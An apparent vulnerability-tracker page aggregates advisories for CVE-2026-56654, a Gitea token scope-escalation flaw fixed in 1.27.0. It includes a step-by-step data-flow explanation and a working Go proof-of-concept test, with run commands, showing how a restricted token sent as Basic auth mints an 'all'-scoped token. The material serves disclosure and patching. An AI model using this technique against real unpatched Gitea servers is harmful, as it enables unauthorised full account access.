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Privilege Escalation via Access Token Scope Escalation in API

cve-program · severity unknownEUVD CVSS 3.1 9.8 CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary 9.8 CRITICALCVSS_V4 Publisher rating HIGHFixed by code.gitea.io/gitea 1.27.0osv · severity unknownFixed by gitea.dev 1.27.0KEV status unknown

cve-program · CVE-2026-56654

Published

Privilege Escalation via Access Token Scope Escalation in API

Read the publisher's advisory

euvd · EUVD-2026-58143

Published

Privilege Escalation via Access Token Scope Escalation in API

Read the publisher's advisory

nvd · CVE-2026-56654

Published

Privilege Escalation via Access Token Scope Escalation in API

Read the publisher's advisory

osv · GHSA-683j-3ff6-hh2x

Published

Gitea's API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic <token>:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod="basic"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password. ### Data flow #### Step 1 - Token extracted from Basic auth header When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64 `VerifyAuthToken` then validates the token against the database and sets `LoginMethod = "access_token"` and `ApiTokenScope` to the token's actual scope (`write:user`): https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106 #### Step 2 - `AuthedMethod` is set to `"basic"`, not `"access_token"` `Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method's name — `"basic"` — regardless of whether a password or token was used: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65 #### Step 3 - `IsBasicAuth` is incorrectly set to true `AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `"basic"`. Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27 #### Step 4 - The guard is bypassed `reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401 #### Step 5 - No scope ceiling in the handler `CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128 ### Reproducing `tests/integration/api_token_scope_escalation_test.go` ```go package integration import ( "net/http" "testing" auth_model "gitea.dev/models/auth" "gitea.dev/models/unittest" user_model "gitea.dev/models/user" api "gitea.dev/modules/structs" "gitea.dev/tests" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) // TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two // interconnected vulnerabilities that together allow full scope escalation: // // 1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in // the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth // handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true // even though the credential is a token, not a password. // // 2. CreateAccessToken performs no scope-ceiling check — it never verifies that // the requested scopes are a subset of the caller's token scopes. // // Combined effect: an attacker with a write:user-scoped token can create a new // token with the "all" scope, gaining full access to the account. func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) { defer tests.PrepareTestEnv(t)() // Non-admin user — escalation is meaningful and not trivially justified. user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2}) // Step 1 — Obtain a legitimately restricted token via password-based Basic auth. // Only write:user scope is granted; repository, admin, etc. are excluded. restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user, []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser}) defer deleteAPIAccessToken(t, restrictedToken, user) // Confirm the restricted token is blocked from repository-scoped endpoints. // This establishes the baseline: write:user does not imply read:repository. req := NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(restrictedToken.Token) MakeRequest(t, req, http.StatusForbidden) // Step 2 — Exploit: supply the restricted token as Basic auth credentials. // Authorization: Basic base64("<token>:x-oauth-basic") // // Basic.Verify() validates the token and returns the user. group.Verify() then // sets AuthedMethod="basic" (the method name). auth.go maps that to // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no // password was provided. CreateAccessToken then creates the token with the // requested "all" scope without checking whether it exceeds the caller's scope. payload := map[string]any{ "name": "poc-escalated", "scopes": []string{"all"}, } req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload) req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic") // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed) // but is currently 201, confirming the vulnerability. resp := MakeRequest(t, req, http.StatusCreated) escalatedToken := DecodeJSON(t, resp, &api.AccessToken{}) require.NotNil(t, escalatedToken) defer deleteAPIAccessToken(t, *escalatedToken, user) // Step 3 — The escalated token carries the "all" scope. assert.Contains(t, escalatedToken.Scopes, "all", "escalated token scope must be 'all'; original token only had write:user") // Step 4 — The escalated token can now reach endpoints blocked to the original // token, confirming real privilege gain beyond write:user. req = NewRequest(t, "GET", "/api/v1/repos/search"). AddTokenAuth(escalatedToken.Token) MakeRequest(t, req, http.StatusOK) } ``` ```bash git clone https://github.com/go-gitea/gitea cd gitea git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e # Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`. go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/ ``` A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

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osv · GO-2026-6034

Published

Gitea: Privilege Escalation via Access Token Scope Escalation in API in gitea.dev

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Affected versions, risk and source history

cve-program · CVE-2026-56654

Published

Gitea Open Source Git Server

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "Gitea",
                    "product": "Gitea Open Source Git Server",
                    "versions": [
                        {
                            "version": "0",
                            "lessThanOrEqual": "1.26.4",
                            "status": "affected",
                            "versionType": "semver"
                        }
                    ],
                    "defaultStatus": "unaffected"
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-58143

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 13, 2026, 4:44:42 PM

dateUpdated: Aug 14, 2026, 7:19:59 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-2304: Gitea: Mehrere Schwachstellen

CVE-2026-58417 · CVE-2026-58420 · CVE-2026-58425 · CVE-2026-58427 · CVE-2026-58428 · CVE-2026-58429 · CVE-2026-58431 · CVE-2026-58432 · CVE-2026-58433 · CVE-2026-58434 · CVE-2026-58435 · CVE-2026-58436 · CVE-2026-58437 · CVE-2026-58438 · CVE-2026-58439 · CVE-2026-58440 · CVE-2026-58441 · CVE-2026-58442 · CVE-2026-58443 · CVE-2026-58444 · CVE-2026-58445 · CVE-2026-58507 · CVE-2026-58508 · CVE-2026-58510 · CVE-2026-58511 · CVE-2026-59763 · CVE-2026-59765 · CVE-2026-59766 · CVE-2026-23603 · CVE-2026-42931 · CVE-2026-50105 · CVE-2026-54481 · CVE-2026-55982 · CVE-2026-55984 · CVE-2026-55986 · CVE-2026-55987 · CVE-2026-56443 · CVE-2026-56654 · CVE-2026-56657 · CVE-2026-56750 · CVE-2026-56755 · CVE-2026-57886 · CVE-2026-57894 · CVE-2026-57897 · CVE-2026-58314 · CVE-2026-58416

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-56654

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-284

Original publisher date fields

published: 2026-08-13T17:17:25.360

lastModified: 2026-08-26T16:53:48.300

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-683j-3ff6-hh2x

Published

code.gitea.io/gitea

Go

SEMVER · introduced 0 → fixed 1.27.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-6034

Published

gitea.dev

Go

SEMVER · introduced 0 → fixed 1.27.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 21:09 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current